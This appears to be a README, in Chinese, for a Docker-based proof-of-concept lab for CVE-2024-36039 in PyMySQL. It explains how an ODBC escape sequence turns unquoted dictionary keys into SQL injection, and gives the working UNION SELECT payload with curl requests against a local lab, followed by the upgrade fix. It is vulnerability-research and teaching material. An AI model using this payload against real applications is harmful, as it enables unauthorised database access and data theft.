一个完整、可复现的CVE-2024-36039概念验证(PoC)实验室,演示了PyMySQL(版本 <= 1.1.0)中的对象注入漏洞如何通过MariaDB的ODBC转义序列升级为完整的SQL注入。
CVE-2024-36039 是 PyMySQL(一个纯Python的MySQL客户端库)中的一个漏洞。
当参数化查询(例如 execute("SELECT * FROM table WHERE data = %s", (my_dict,)))接收一个Python字典,其中键是自定义对象而非标准字符串时,PyMySQL会使用对象的 __str__ 或 __repr__ 方法将其序列化为SQL字符串。
漏洞点: PyMySQL忘记对对象键的结果字符串进行转义(即用单引号包裹)。这导致一个未加引号的原始字符串直接以字典格式注入到SQL语句中:{UnquotedObjectString: 'EscapedValue'}。
单独来看,向MariaDB查询中注入 {UnquotedKey: 'Value'} 会触发 1064 语法错误,因为 {} 不是标准的SQL数据语法。
然而,MariaDB/MySQL支持ODBC转义序列,它使用花括号 {}。为了绕过语法错误,紧跟 { 之后的字符串必须是有效的ODBC关键字(例如 d、t、ts、fn)。
__repr__ 方法返回 fn/*。*/ 1} UNION SELECT 1, flag, 3 FROM secret -- 。SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn:MariaDB识别到ODBC标量函数的开始。/*: "'*/:MariaDB将其视为块注释。PyMySQL生成的冒号 : 和开头引号 ' 被完全忽略! 1}:完成ODBC函数(实际上返回整数 1)。 UNION SELECT 1, flag, 3 FROM secret:我们注入的SQL payload被执行。-- '"}:SQL注释忽略了尾部多余的字符('})。结果: 完美的SQL注入,绕过了应用程序逻辑和PyMySQL的参数化!
克隆此仓库并启动环境:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(等待约15-20秒,让MariaDB容器完全初始化)。
发送一个标准的JSON请求。后端会将JSON键转换为 CustomKey 对象。
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
响应: 你会得到一个SQL语法错误,提示 {yamato: "'Any_value'"} 是无效SQL,确认了注入点。
注入ODBC转义序列payload以绕过语法错误,并从 secret 表中提取隐藏的flag。
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
响应(搞定!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
要修复此漏洞,请将 PyMySQL 升级到 1.1.1 或更高版本。
在修补后的版本中,开发人员确保所有字典键,无论其类型如何,在插入SQL语句之前都已正确转义并加引号。
pip install --upgrade PyMySQL
免责声明: 本仓库仅供教育和研究目的创建。请勿针对您不拥有或未获得明确许可的系统使用这些技术。
© 2026 by zenniskayy。为更安全的互联网而构建。